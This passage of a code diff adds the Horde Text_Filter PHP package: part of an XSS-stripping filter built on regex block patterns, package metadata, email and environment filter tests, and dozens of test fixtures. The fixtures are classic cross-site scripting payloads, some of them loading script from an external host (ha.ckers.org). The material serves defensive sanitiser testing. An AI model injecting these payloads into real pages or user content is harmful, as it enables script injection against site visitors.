+ '(?:a|�*65;?|�*41;?|�*97;?|�*61;?)(\s*)/i',
+
+ '/<([^>a-z]*)' .
+ '(?:j|�*74;?|�*4a;?|�*106;?|�*6a;?)\s*' .
+ '(?:a|�*65;?|�*41;?|�*97;?|�*61;?)\s*' .
+ '(?:v|�*86;?|�*56;?|�*118;?|�*76;?)\s*' .
+ '(?:a|�*65;?|�*41;?|�*97;?|�*61;?)(\s*)/i',
+
+ '/<([^>a-z]*)' .
+ '(?:o|�*79;?|�*4f;?|�*111;?|�*6f;?)\s*' .
+ '(?:b|�*66;?|�*42;?|�*98;?|�*62;?)\s*' .
+ '(?:j|�*74;?|�*4a;?|�*106;?|�*6a;?)\s*' .
+ '(?:e|�*69;?|�*45;?|�*101;?|�*65;?)\s*' .
+ '(?:c|�*67;?|�*43;?|�*99;?|�*63;?)\s*' .
+ '(?:t|�*84;?|�*54;?|�*116;?|�*74;?)(\s*)/i',
+
+ '/<([^>a-z]*)' .
+ '(?:a|�*65;?|�*41;?|�*97;?|�*61;?)\s*' .
+ '(?:p|�*80;?|�*50;?|�*112;?|�*70;?)\s*' .
+ '(?:p|�*80;?|�*50;?|�*112;?|�*70;?)\s*' .
+ '(?:l|�*76;?|�*4c;?|�*108;?|�*6c;?)\s*' .
+ '(?:e|�*69;?|�*45;?|�*101;?|�*65;?)\s*' .
+ '(?:t|�*84;?|�*54;?|�*116;?|�*74;?)(\s*)/i',
+
+ '/<([^>a-z]*)' .
+ '(?:l|�*76;?|�*4c;?|�*108;?|�*6c;?)\s*' .
+ '(?:a|�*65;?|�*41;?|�*97;?|�*61;?)\s*' .
+ '(?:y|�*89;?|�*59;?|�*121;?|�*79;?)\s*' .
+ '(?:e|�*69;?|�*45;?|�*101;?|�*65;?)\s*' .
+ '(?:r|�*82;?|�*52;?|�*114;?|�*72;?)(\s*)/i',
+
+ '/<([^>a-z]*)' .
+ '(?:i|�*73;?|�*49;?|�*105;?|�*69;?)?\s*' .
+ '(?:f|�*70;?|�*46;?|�*102;?|�*66;?)\s*' .
+ '(?:r|�*82;?|�*52;?|�*114;?|�*72;?)\s*' .
+ '(?:a|�*65;?|�*41;?|�*97;?|�*61;?)\s*' .
+ '(?:m|�*77;?|�*4d;?|�*109;?|�*6d;?)\s*' .
+ '(?:e|�*69;?|�*45;?|�*101;?|�*65;?)(\s*)/i');
+
+ foreach ($malicious as $pattern) {
+ $patterns[$pattern] = '<$1' . $this->_params['replace'] . '_tag$2';
+ }
+
+ /* Comment out style/link tags. */
+ if ($this->_params['strip_styles']) {
+ if ($this->_params['strip_style_attributes']) {
+ $patterns['/(\s+|([\'"]))style\s*=/i'] = '$2 ' . $this->_params['replace'] . '=';
+ }
+ $patterns['|<style[^>]*>(?:\s*<\!--)*|i'] = '<!--';
+ $patterns['|(?:-->\s*)*</style>|i'] = '-->';
+ $patterns['|(<link[^>]*>)|i'] = '<!-- $1 -->';
+
+ /* We primarily strip out <base> tags due to styling concerns.
+ * There is a security issue with HREF tags, but the 'javascript'
+ * search/replace code sufficiently filters these strings. */
+ $patterns['|(<base[^>]*>)|i'] = '<!-- $1 -->';
+ }
+
+ /* A few other matches. */
+ $patterns['|<([^>]*)&{.*}([^>]*)>|'] = '<\1&{;}\2>';
+ $patterns['|<([^>]*)mocha:([^>]*)>|i'] = '<\1' . $this->_params['replace'] . ':\2>';
+ $patterns['/<(([^>]*)|(style[^>]*>[^<]*))binding:((?(3)[^<]*<\/style)[^>]*)>/i'] = '<\1' . $this->_params['replace'] . ':\4>';
+
+ return array('regexp' => $patterns);
+ }
+
+ /**
+ * Executes any code necessary before applying the filter patterns.
+ *
+ * @param string $text The text before the filtering.
+ *
+ * @return string The modified text.
+ */
+ public function preProcess($text)
+ {
+ // As of PHP 5.2, backtrack limits have been set to an unreasonably
+ // low number. The body check will often times trigger backtrack
+ // errors so up the backtrack limit if we are doing this match.
+ if ($this->_params['body_only'] && ini_get('pcre.backtrack_limit')) {
+ ini_set('pcre.backtrack_limit', 5000000);
+ }
+
+ return $text;
+ }
+
+ /**
+ * Executes any code necessary after applying the filter patterns.
+ *
+ * @param string $text The text after the filtering.
+ *
+ * @return string The modified text.
+ */
+ public function postProcess($text)
+ {
+ ini_restore('pcre.backtrack_limit');
+ return $text;
+ }
+
+}
--- /dev/null
+<?xml version="1.0" encoding="UTF-8"?>
+<package packagerversion="1.4.9" version="2.0" xmlns="http://pear.php.net/dtd/package-2.0" xmlns:tasks="http://pear.php.net/dtd/tasks-1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://pear.php.net/dtd/tasks-1.0
+http://pear.php.net/dtd/tasks-1.0.xsd
+http://pear.php.net/dtd/package-2.0
+http://pear.php.net/dtd/package-2.0.xsd">
+ <name>Text_Filter</name>
+ <channel>pear.horde.org</channel>
+ <summary>Horde Text Filter API</summary>
+ <description>The Horde_Text_Filter:: class provides common methods for
+ fitering and converting text.
+ </description>
+ <lead>
+ <name>Chuck Hagenbuch</name>
+ <user>chuck</user>
+ <email>chuck@horde.org</email>
+ <active>yes</active>
+ </lead>
+ <lead>
+ <name>Jan Schneider</name>
+ <user>jan</user>
+ <email>jan@horde.org</email>
+ <active>yes</active>
+ </lead>
+ <developer>
+ <name>Michael Slusarz</name>
+ <user>slusarz</user>
+ <email>slusarz@horde.org</email>
+ <active>yes</active>
+ </developer>
+ <date>2009-06-10</date>
+ <version>
+ <release>0.1.0</release>
+ <api>0.1.0</api>
+ </version>
+ <stability>
+ <release>beta</release>
+ <api>beta</api>
+ </stability>
+ <license uri="http://www.gnu.org/copyleft/lesser.html">LGPL</license>
+ <notes>* Initial Horde 4 package.
+ </notes>
+ <contents>
+ <dir name="/">
+ <dir name="lib">
+ <dir name="Horde">
+ <dir name="Text">
+ <dir name="Filter">
+ <file name="Bbcode.php" role="php" />
+ <file name="Cleanascii.php" role="php" />
+ <file name="Dimsignature.php" role="php" />
+ <file name="Emails.php" role="php" />
+ <file name="Emoticons.php" role="php" />
+ <file name="Environment.php" role="php" />
+ <file name="Highlightquotes.php" role="php" />
+ <file name="Html2text.php" role="php" />
+ <file name="Linkurls.php" role="php" />
+ <file name="Simplemarkup.php" role="php" />
+ <file name="Space2html.php" role="php" />
+ <file name="Tabs2spaces.php" role="php" />
+ <file name="Text2html.php" role="php" />
+ <file name="Words.php" role="php" />
+ <file name="Xss.php" role="php" />
+ </dir> <!-- /lib/Horde/Text/Filter -->
+ <file name="Filter.php" role="php" />
+ </dir> <!-- /lib/Horde/Text -->
+ </dir> <!-- /lib/Horde -->
+ </dir> <!-- /lib -->
+ <dir name="test">
+ <dir name="Horde">
+ <dir name="Text">
+ <dir name="Filter">
+ <dir name="fixtures">
+ <file name="html2text.html" role="test" />
+ <file name="style_xss01.html" role="test" />
+ <file name="text2html.txt" role="test" />
+ <file name="xss01.html" role="test" />
+ <file name="xss02.html" role="test" />
+ <file name="xss03.html" role="test" />
+ <file name="xss04.html" role="test" />
+ <file name="xss05.html" role="test" />
+ <file name="xss06.html" role="test" />
+ <file name="xss07.html" role="test" />
+ <file name="xss08.html" role="test" />
+ <file name="xss09.html" role="test" />
+ <file name="xss10.html" role="test" />
+ <file name="xss11.html" role="test" />
+ <file name="xss12.html" role="test" />
+ <file name="xss13.html" role="test" />
+ <file name="xss14.html" role="test" />
+ <file name="xss15.html" role="test" />
+ <file name="xss16.html" role="test" />
+ <file name="xss17.html" role="test" />
+ <file name="xss18.html" role="test" />
+ <file name="xss19.html" role="test" />
+ <file name="xss20.html" role="test" />
+ <file name="xss21.html" role="test" />
+ <file name="xss22.html" role="test" />
+ <file name="xss23.html" role="test" />
+ <file name="xss24.html" role="test" />
+ <file name="xss25.html" role="test" />
+ <file name="xss26.html" role="test" />
+ <file name="xss27.html" role="test" />
+ <file name="xss28.html" role="test" />
+ <file name="xss29.html" role="test" />
+ <file name="xss30.html" role="test" />
+ <file name="xss31.html" role="test" />
+ <file name="xss32.html" role="test" />
+ <file name="xss33.html" role="test" />
+ <file name="xss34.html" role="test" />
+ <file name="xss35.html" role="test" />
+ <file name="xss36.html" role="test" />
+ <file name="xss37.html" role="test" />
+ <file name="xss38.html" role="test" />
+ <file name="xss39.html" role="test" />
+ <file name="xss40.html" role="test" />
+ <file name="xss41.html" role="test" />
+ <file name="xss42.html" role="test" />
+ <file name="xss43.html" role="test" />
+ <file name="xss44.html" role="test" />
+ <file name="xss45.html" role="test" />
+ <file name="xss46.html" role="test" />
+ <file name="xss47.html" role="test" />
+ <file name="xss48.html" role="test" />
+ <file name="xss49.html" role="test" />
+ <file name="xss50.html" role="test" />
+ <file name="xss51.html" role="test" />
+ <file name="xss52.html" role="test" />
+ <file name="xss53.html" role="test" />
+ <file name="xss54.html" role="test" />
+ <file name="xss55.html" role="test" />
+ <file name="xss56.html" role="test" />
+ <file name="xss57.html" role="test" />
+ <file name="xss58.html" role="test" />
+ <file name="xss59.html" role="test" />
+ <file name="xss60.html" role="test" />
+ <file name="xss61.html" role="test" />
+ <file name="xss62.html" role="test" />
+ <file name="xss63.html" role="test" />
+ <file name="xss64.html" role="test" />
+ <file name="xss65.html" role="test" />
+ <file name="xss66.html" role="test" />
+ <file name="xss67.html" role="test" />
+ <file name="xss68.html" role="test" />
+ <file name="xss69.html" role="test" />
+ <file name="xss70.html" role="test" />
+ <file name="xss71.html" role="test" />
+ <file name="xss72.html" role="test" />
+ <file name="xss73.html" role="test" />
+ <file name="xss74.html" role="test" />
+ <file name="xss75.html" role="test" />
+ <file name="xss76.html" role="test" />
+ <file name="xss77.html" role="test" />
+ <file name="xss78.html" role="test" />
+ <file name="xss79.html" role="test" />
+ <file name="xss80.html" role="test" />
+ <file name="xss81.html" role="test" />
+ <file name="xss82.html" role="test" />
+ <file name="xss83.html" role="test" />
+ <file name="xss84.html" role="test" />
+ <file name="xss85.html" role="test" />
+ <file name="xss97.html" role="test" />
+ <file name="xss98.html" role="test" />
+ <file name="xss99.html" role="test" />
+ <file name="xss100.html" role="test" />
+ </dir> <!-- /test/Horde/Text/Filter/fixtures -->
+ <file name="emails.phpt" role="test" />
+ <file name="environment.phpt" role="test" />
+ <file name="html2text.phpt" role="test" />
+ <file name="html2text2.phpt" role="test" />
+ <file name="space2html.phpt" role="test" />
+ <file name="text2html.phpt" role="test" />
+ <file name="xss.phpt" role="test" />
+ </dir> <!-- /test/Horde/Text/Filter -->
+ </dir> <!-- /test/Horde/Text -->
+ </dir> <!-- /test/Horde -->
+ </dir> <!-- /test -->
+ </dir> <!-- / -->
+ </contents>
+ <dependencies>
+ <required>
+ <php>
+ <min>5.2.0</min>
+ </php>
+ <pearinstaller>
+ <min>1.5.4</min>
+ </pearinstaller>
+ <package>
+ <name>Util</name>
+ <channel>pear.horde.org</channel>
+ </package>
+ </required>
+ <optional>
+ <extension>
+ <name>gettext</name>
+ </extension>
+ </optional>
+ </dependencies>
+ <phprelease>
+ <filelist>
+ <install name="lib/Horde/Text/Filter/Bbcode.php" as="Horde/Text/Filter/Bbcode.php" />
+ <install name="lib/Horde/Text/Filter/Cleanascii.php" as="Horde/Text/Filter/Cleanascii.php" />
+ <install name="lib/Horde/Text/Filter/Dimsignature.php" as="Horde/Text/Filter/Dimsignature.php" />
+ <install name="lib/Horde/Text/Filter/Emails.php" as="Horde/Text/Filter/Emails.php" />
+ <install name="lib/Horde/Text/Filter/Emoticons.php" as="Horde/Text/Filter/Emoticons.php" />
+ <install name="lib/Horde/Text/Filter/Environment.php" as="Horde/Text/Filter/Environment.php" />
+ <install name="lib/Horde/Text/Filter/Highlightquotes.php" as="Horde/Text/Filter/Highlightquotes.php" />
+ <install name="lib/Horde/Text/Filter/Html2text.php" as="Horde/Text/Filter/Html2text.php" />
+ <install name="lib/Horde/Text/Filter/Linkurls.php" as="Horde/Text/Filter/Linkurls.php" />
+ <install name="lib/Horde/Text/Filter/Simplemarkup.php" as="Horde/Text/Filter/Simplemarkup.php" />
+ <install name="lib/Horde/Text/Filter/Space2html.php" as="Horde/Text/Filter/Space2html.php" />
+ <install name="lib/Horde/Text/Filter/Tabs2spaces.php" as="Horde/Text/Filter/Tabs2spaces.php" />
+ <install name="lib/Horde/Text/Filter/Text2html.php" as="Horde/Text/Filter/Text2html.php" />
+ <install name="lib/Horde/Text/Filter/Words.php" as="Horde/Text/Filter/Words.php" />
+ <install name="lib/Horde/Text/Filter/Xss.php" as="Horde/Text/Filter/Xss.php" />
+ <install name="lib/Horde/Text/Filter.php" as="Horde/Text/Filter.php" />
+ </filelist>
+ </phprelease>
+ <changelog>
+ <release>
+ <date>2006-05-08</date>
+ <time>23:39:08</time>
+ <version>
+ <release>0.0.2</release>
+ <api>0.0.2</api>
+ </version>
+ <stability>
+ <release>alpha</release>
+ <api>alpha</api>
+ </stability>
+ <license uri="http://www.gnu.org/copyleft/lesser.html">LGPL</license>
+ <notes>* Don't strip BASE tags when 'strip_styles' is false.
+ * Added ability to link <test@example.com> e-mail addresses in plain text.
+ * Removed dependency on external javascript file when toggling quoted lines.
+ * Converted to package.xml 2.0 for pear.horde.org
+ * Allow the bad words filter to leave the first character of a matching word and replace the rest with '*' (duck@obala.net).
+ * Improved efficiency of the linkurls filter when searching long lines
+ </notes>
+ </release>
+ <release>
+ <version>
+ <release>0.0.1</release>
+ <api>0.0.1</api>
+ </version>
+ <stability>
+ <release>alpha</release>
+ <api>alpha</api>
+ </stability>
+ <date>2004-10-12</date>
+ <license uri="http://www.gnu.org/copyleft/lesser.html">LGPL</license>
+ <notes>Initial release as a PEAR package
+ </notes>
+ </release>
+ </changelog>
+</package>
--- /dev/null
+--TEST--
+Horde_Text_Filter_Email tests
+--FILE--
+<?php
+
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter.php';
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter/emails.php';
+
+$emails = <<<EOT
+Inline address test@example.com test.
+Inline protocol mailto: test@example.com test with whitespace.
+Inline Outlook [mailto:test@example.com] test.
+Inline angle brackets <test@example.com> test.
+Inline angle brackets (HTML) <test@example.com> test.
+Inline angle brackets with mailto <mailto:test@example.com> test.
+Inline with parameters test@example.com?subject=A%20subject&body=The%20message%20body test.
+Inline protocol with parameters mailto:test@example.com?subject=A%20subject&body=The%20message%20body test.
+test@example.com in front test.
+At end test of test@example.com
+Don't link http://test@www.horde.org/ test.
+Real world example: mailto:pmx-auto-approve%2b27f0e770e2d85bf9bd8fea61f9dedbff@example.com?subject=Release%20message%20from%20quarantine&body=%5b%23ptn6Pw-1%5d
+EOT;
+
+echo Horde_Text_Filter::filter($emails, 'emails', array('always_mailto' => true, 'class' => 'pagelink'));
+
+?>
+--EXPECT--
+Inline address <a class="pagelink" href="mailto:test@example.com" title="New Message to test@example.com">test@example.com</a> test.
+Inline protocol mailto: <a class="pagelink" href="mailto:test@example.com" title="New Message to test@example.com">test@example.com</a> test with whitespace.
+Inline Outlook [mailto:<a class="pagelink" href="mailto:test@example.com" title="New Message to test@example.com">test@example.com</a>] test.
+Inline angle brackets <<a class="pagelink" href="mailto:test@example.com" title="New Message to test@example.com">test@example.com</a>> test.
+Inline angle brackets (HTML) <<a class="pagelink" href="mailto:test@example.com" title="New Message to test@example.com">test@example.com</a>> test.
+Inline angle brackets with mailto <mailto:<a class="pagelink" href="mailto:test@example.com" title="New Message to test@example.com">test@example.com</a>> test.
+Inline with parameters <a class="pagelink" href="mailto:test@example.com?subject=A%20subject&body=The%20message%20body" title="New Message to test@example.com">test@example.com?subject=A%20subject&body=The%20message%20body</a> test.
+Inline protocol with parameters mailto:<a class="pagelink" href="mailto:test@example.com?subject=A%20subject&body=The%20message%20body" title="New Message to test@example.com">test@example.com?subject=A%20subject&body=The%20message%20body</a> test.
+<a class="pagelink" href="mailto:test@example.com" title="New Message to test@example.com">test@example.com</a> in front test.
+At end test of <a class="pagelink" href="mailto:test@example.com" title="New Message to test@example.com">test@example.com</a>
+Don't link http://test@www.horde.org/ test.
+Real world example: mailto:<a class="pagelink" href="mailto:pmx-auto-approve%2b27f0e770e2d85bf9bd8fea61f9dedbff@example.com?subject=Release%20message%20from%20quarantine&body=%5b%23ptn6Pw-1%5d" title="New Message to pmx-auto-approve%2b27f0e770e2d85bf9bd8fea61f9dedbff@example.com">pmx-auto-approve%2b27f0e770e2d85bf9bd8fea61f9dedbff@example.com?subject=Release%20message%20from%20quarantine&body=%5b%23ptn6Pw-1%5d</a>
--- /dev/null
+--TEST--
+Horde_Text_Filter_Environment tests
+--FILE--
+<?php
+
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter.php';
+require dirname(__FILE__) . '/../../../lib/Horde/Text/Filter/Environment.php';
+
+$env = <<<EOT
+Simple line
+Inline %FOO% variable
+%FOO% at start
+at end %FOO%
+# %COMMENT% line
+Variable %FOO% with # comment %COMMENT%
+Simple line
+EOT;
+
+putenv('FOO=bar');
+putenv('COMMENT=comment');
+echo Horde_Text_Filter::filter($env, 'environment');
+
+?>
+--EXPECT--
+Simple line
+Inline bar variable
+bar at start
+at end bar
+Variable bar with
+Simple line
--- /dev/null
+<h2>Inline Formatting</h2>
+
+ Some text with leading and trailing whitespace
+
+<table class="table">
+ <tr>
+ <td class="table-cell">emphasis text</td>
+ <td class="table-cell"><em>emphasis text</em></td>
+ </tr>
+ <tr>
+ <td class="table-cell">strong text</td>
+ <td class="table-cell"><strong>strong text</strong></td>
+ </tr>
+ <tr>
+ <td class="table-cell">italic text</td>
+ <td class="table-cell"><i>italic text</i></td>
+ </tr>
+ <tr>
+ <td class="table-cell">bold text</td>
+ <td class="table-cell"><b>bold text</b></td>
+ </tr>
+ <tr>
+ <td class="table-cell">emphasis and strong</td>
+ <td class="table-cell"><em><strong>emphasis and strong</strong></em></td>
+ </tr>
+ <tr>
+ <td class="table-cell">underline text</td>
+ <td class="table-cell"><u>underline text</u></td>
+ </tr>
+</table>
+
+<hr />
+
+
+<h2>Links</h2>
+<a href="http://www.horde.org">Horde Homepage</a><br />
+<a href="mailto:test@example.com">Test User</a><br />
+Some inline <a href="http://www.horde.org">link</a>.<br />
+<a href="http://www.example.com">http://www.example.com</a><br />
+
+<hr />
+
+
+<h2>Headings</h2>
+<p>You can make various levels of heading by putting equals-signs before and
+after the text (all on its own line):</p>
+
+<h3>level 3 heading</h3>
+<h4>level 4 heading</h4>
+
+<h5>level 5 heading</h5>
+<h6>level 6 heading</h6>
+
+<hr />
+
+
+<h3>Bullet Lists</h3>
+<p>You can create bullet lists by starting a paragraph with one or more
+asterisks.</p>
+
+<ul>
+ <li>Bullet one<ul>
+ <li>Sub-bullet</li>
+ </ul></li>
+</ul>
+
+<h3>Numbered Lists</h3>
+<p>Similarly, you can create numbered lists by starting a paragraph with one
+or more hashes.</p>
+
+<ol>
+ <li>Numero uno</li>
+ <li>Number two<ol>
+ <li>Sub-item</li>
+ </ol></li>
+
+</ol>
+
+<h3>Mixing Bullet and Number List Items</h3>
+<p>You can mix and match bullet and number lists:</p>
+
+<ol>
+ <li>Number one<ul>
+ <li>Bullet</li>
+ <li>Bullet</li>
+ </ul></li>
+ <li>Number two<ul>
+ <li>Bullet</li>
+ <li>Bullet<ul>
+ <li>Sub-bullet<ol>
+ <li>Sub-sub-number</li>
+ <li>Sub-sub-number</li>
+ </ol></li>
+ </ul></li>
+ </ul></li>
+ <li>Number three<ul>
+ <li>Bullet</li>
+ <li>Bullet</li>
+ </ul></li>
+</ol>
+
+
+<h2>Block quoting</h2>
+<blockquote type="cite">
+<a href="http://www.horde.org">Horde Homepage</a><br />
+Some inline <a href="http://www.horde.org">link</a>.<br />
+</blockquote>
+
+Line inbetween.
+
+<blockquote type="cite">
+<h2>Heading inside quoting</h2>
+<p>This is a paragraph inside a block quoting. The result should be several
+lines prefixed with the > character.</p>
+</blockquote>
+
+
+<h2>Special Characters</h2>
+
+ä
+é
+©
+™
+
+<p>Zitat von John Doe <john.doe@example.com>:</p>
+ <blockquote type="cite">
+ <div class="Section1">
+ <p class="MsoNormal"><font size="2" face="Arial"><span style="font-size: 10pt; font-family: Arial;">Hallo lieber John,<o:p /></span></font></p>
+ <p class="MsoNormal"><font size="2" face="Arial"><span style="font-size: 10pt; font-family: Arial;"><o:p> </o:p></span></font></p>
+ <p class="MsoNormal"><font size="2" face="Arial"><span style="font-size: 10pt; font-family: Arial;">Blah, blah.'<o:p /></span></font></p>
+ <p class="MsoNormal"><font size="2" face="Arial"><span style="font-size: 10pt; font-family: Arial;"><o:p> </o:p></span></font></p>
+ <p class="MsoNormal"><font size="3" face="Times New Roman"><span lang="EN-GB" style="font-size: 12pt;"><o:p> </o:p></span></font></p>
+ </div>
+ </blockquote>
+ <p> </p>
+ <p class="imp-signature"><!--begin_signature-->-- <br />
+Some signature<br /><a target="_blank" href="http://www.example.com">http://www.example.com</a><!--end_signature--></p>
+
+<p>Zitat von Jane Doe <jane.doe@example.com>:</p>
+ <blockquote type="cite">
+Jan Schneider a écrit :
+
+ <blockquote type="cite" cite="mid:20081007135151.190315kzjzymtbhc@neo.wg.de">Zitat von Jane Doe
+<a href="mailto:jane.doe@example.com" class="moz-txt-link-rfc2396E"><jane.doe@example.com></a>:
+ <br /> <br />
+ <blockquote type="cite">Hi,
+ <br /> <br />
+I prepare the last "horde-webmail-1.2" for production level but I have
+few questions:
+ <br />
+- is there a way to disable "external_display_cal" in kronolith, I
+don't want seeing birthdays calendars (turba) and task list (nag)
+ <br /> </blockquote> <br />
+They aren't displayed by default, or do you mean you don't want them to
+appear in the top right calendar panel?
+ <br />
+ </blockquote>
+Yes I don't want them to appear in the top right calendar panel but I
+want user can create their external_cal<br />
+ </blockquote><br />
+ <p class="imp-signature"><!--begin_signature-->Jan.<br /> <br />
+-- <br />
+Do you need professional PHP or Horde consulting?<br /> <a target="_blank" href="http://horde.org/consulting/">http://horde.org/consulting/</a><!--end_signature--></p>
--- /dev/null
+<BASE HREF="javascript:alert('XSS');//">
--- /dev/null
+http://www.horde.org/foo/
+https://jan:secret@www.horde.org/foo/
+mailto:jan@example.com
+svn+ssh://jan@svn.example.com/path/
+<tag>foo</tag>
+<http://css.maxdesign.com.au/listamatic/>
+http://www.horde.org/?foo=bar&baz=qux
+http://www.<alert>.horde.org/
+http://www.2.horde.org/
--- /dev/null
+<SCRIPT SRC=http://ha.ckers.org/xss.js></SCRIPT>
--- /dev/null
+<IMG SRC="javascript:alert('XSS');">
--- /dev/null
+<IMG SRC=javascript:alert('XSS')>
--- /dev/null
+<IMG SRC=JaVaScRiPt:alert('XSS')>
--- /dev/null
+<IMG SRC=javascript:alert("XSS")>
--- /dev/null
+<IMG SRC=`javascript:alert("RSnake says, 'XSS'")`>
--- /dev/null
+<IMG """><SCRIPT>alert("XSS")</SCRIPT>">
--- /dev/null
+<IMG SRC=javascript:alert(String.fromCharCode(88,83,83))>
--- /dev/null
+<IMG SRC=javascript:alert('XSS')>
--- /dev/null
+<IMG SRC=javascript:alert('XSS')>
--- /dev/null
+<img src='blank.jpg'style='width:expression(alert("xssed"))'>
--- /dev/null
+<IMG SRC=javascript:alert('XSS')>
--- /dev/null
+<IMG SRC="jav ascript:alert('XSS');">
--- /dev/null
+<IMG SRC="jav	ascript:alert('XSS');">
--- /dev/null
+<IMG SRC="jav
ascript:alert('XSS');">
--- /dev/null
+<IMG SRC="jav
ascript:alert('XSS');">
--- /dev/null
+<IMG
+SRC
+=
+j
+a
+v
+a
+s
+c
+r
+i
+p
+t
+:
+a
+l
+e
+r
+t
+(
+'
+X
+S
+S
+'
+)
+"
+>
--- /dev/null
+<IMG SRC="  javascript:alert('XSS');">
--- /dev/null
+<SCRIPT/XSS SRC="http://ha.ckers.org/xss.js"></SCRIPT>
--- /dev/null
+<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert("XSS")>
--- /dev/null
+<SCRIPT/SRC="http://ha.ckers.org/xss.js"></SCRIPT>
--- /dev/null
+<<SCRIPT>alert("XSS");//<</SCRIPT>
--- /dev/null
+<SCRIPT SRC=http://ha.ckers.org/xss.js?<B>
--- /dev/null
+<SCRIPT SRC=//ha.ckers.org/.j>
--- /dev/null
+<IMG SRC="javascript:alert('XSS')"
--- /dev/null
+<iframe src=http://ha.ckers.org/scriptlet.html <
--- /dev/null
+<SCRIPT>a=/XSS/
+alert(a.source)</SCRIPT>
--- /dev/null
+</TITLE><SCRIPT>alert("XSS");</SCRIPT>
--- /dev/null
+<INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');">
--- /dev/null
+<BODY BACKGROUND="javascript:alert('XSS')">
--- /dev/null
+<BODY ONLOAD=alert('XSS')>
--- /dev/null
+<IMG DYNSRC="javascript:alert('XSS')">
--- /dev/null
+<IMG LOWSRC="javascript:alert('XSS')">
--- /dev/null
+<BGSOUND SRC="javascript:alert('XSS');">
--- /dev/null
+<BR SIZE="&{alert('XSS')}">
--- /dev/null
+<LAYER SRC="http://ha.ckers.org/scriptlet.html"></LAYER>
--- /dev/null
+<LINK REL="stylesheet" HREF="javascript:alert('XSS');">
--- /dev/null
+<LINK REL="stylesheet" HREF="http://ha.ckers.org/xss.css">
--- /dev/null
+<STYLE>@import'http://ha.ckers.org/xss.css';</STYLE>
--- /dev/null
+<META HTTP-EQUIV="Link" Content="<http://ha.ckers.org/xss.css>; REL=stylesheet">
--- /dev/null
+<STYLE>BODY{-moz-binding:url("http://ha.ckers.org/xssmoz.xml#xss")}</STYLE>
--- /dev/null
+<XSS STYLE="behavior: url(xss.htc);">
--- /dev/null
+<STYLE>li {list-style-image: url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS
--- /dev/null
+<IMG SRC='vbscript:msgbox("XSS")'>
--- /dev/null
+<IMG SRC="mocha:[code]">
--- /dev/null
+<IMG SRC="livescript:[code]">
--- /dev/null
+<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert('XSS');">
--- /dev/null
+<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">
--- /dev/null
+<META HTTP-EQUIV="refresh" CONTENT="0; URL=http://;URL=javascript:alert('XSS');">
--- /dev/null
+<IFRAME SRC=javascript:alert('XSS')></IFRAME>
--- /dev/null
+<FRAMESET><FRAME SRC=javascript:alert('XSS')></FRAME></FRAMESET>
--- /dev/null
+<TABLE BACKGROUND="javascript:alert('XSS')">
--- /dev/null
+<TABLE><TD BACKGROUND="javascript:alert('XSS')">
--- /dev/null
+<DIV STYLE="background-image: url(javascript:alert('XSS'))">
--- /dev/null
+<DIV STYLE="background-image:\0075\0072\006C\0028'\006a\0061\0076\0061\0073\0063\0072\0069\0070\0074\003a\0061\006c\0065\0072\0074\0028.1027\0058.1053\0053\0027\0029'\0029">
--- /dev/null
+<DIV STYLE="background-image: url(javascript:alert('XSS'))">
--- /dev/null
+<DIV STYLE="width: expression(alert('XSS'));">
--- /dev/null
+<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
--- /dev/null
+<IMG STYLE="xss:expr/*XSS*/ession(alert('XSS'))">
--- /dev/null
+<XSS STYLE="xss:expression(alert('XSS'))">
--- /dev/null
+exp/*<A STYLE='no\xss:noxss("*//*");
+xss:ex/*XSS*//*/*/pression(alert("XSS"))'>
--- /dev/null
+<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
--- /dev/null
+<STYLE>.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A CLASS=XSS></A>
--- /dev/null
+<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
--- /dev/null
+<!--[if gte IE 4]>
+<SCRIPT>alert('XSS');</SCRIPT>
+<![endif]-->
--- /dev/null
+<BASE HREF="javascript:alert('XSS');//">
--- /dev/null
+<OBJECT TYPE="text/x-scriptlet" DATA="http://ha.ckers.org/scriptlet.html"></OBJECT>
--- /dev/null
+<OBJECT classid=clsid:ae24fdae-03c6-11d1-8b76-0080c744f389><param name=url value=javascript:alert('XSS')></OBJECT>
--- /dev/null
+<EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"></EMBED>
--- /dev/null
+<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
--- /dev/null
+<HTML xmlns:xss>
+ <?import namespace="xss" implementation="http://ha.ckers.org/xss.htc">
+ <xss:xss>XSS</xss:xss>
+</HTML>
--- /dev/null
+<XML ID=I><X><C><![CDATA[<IMG SRC="javas]]><![CDATA[cript:alert('XSS');">]]>
+</C></X></xml><SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
--- /dev/null
+<XML ID="xss"><I><B><IMG SRC="javas<!-- -->cript:alert('XSS')"></B></I></XML>
+<SPAN DATASRC="#xss" DATAFLD="B" DATAFORMATAS="HTML"></SPAN>
--- /dev/null
+<XML SRC="xsstest.xml" ID=I></XML>
+<SPAN DATASRC=#I DATAFLD=C DATAFORMATAS=HTML></SPAN>
--- /dev/null
+<HTML><BODY>
+<?xml:namespace prefix="t" ns="urn:schemas-microsoft-com:time">
+<?import namespace="t" implementation="#default#time2">
